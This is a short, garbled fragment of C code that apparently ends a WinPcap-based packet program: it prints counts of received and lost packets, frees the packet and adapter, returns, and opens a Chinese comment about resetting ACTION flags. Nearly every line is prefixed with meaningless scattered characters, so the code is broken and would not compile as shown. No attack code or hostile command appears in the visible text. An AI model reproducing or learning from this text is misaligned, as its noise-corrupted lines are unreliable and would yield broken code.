5 s" X- r/ P3 G$ A( u/ B. X9 \    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
  //free resource   
1 ~; b- ~+ v& P3 n# g, V2 x$ M  PacketFreePacket(g_lpSendPacket);
: n7 [+ ^) t1 E  PacketCloseAdapter(g_lpAdapter);
8 i# T- u- n; D0 J% r' A9 F  return 0;
}
2 C' g! N# E2 L
//
//功能：重置所有于ACTION有关的标志
//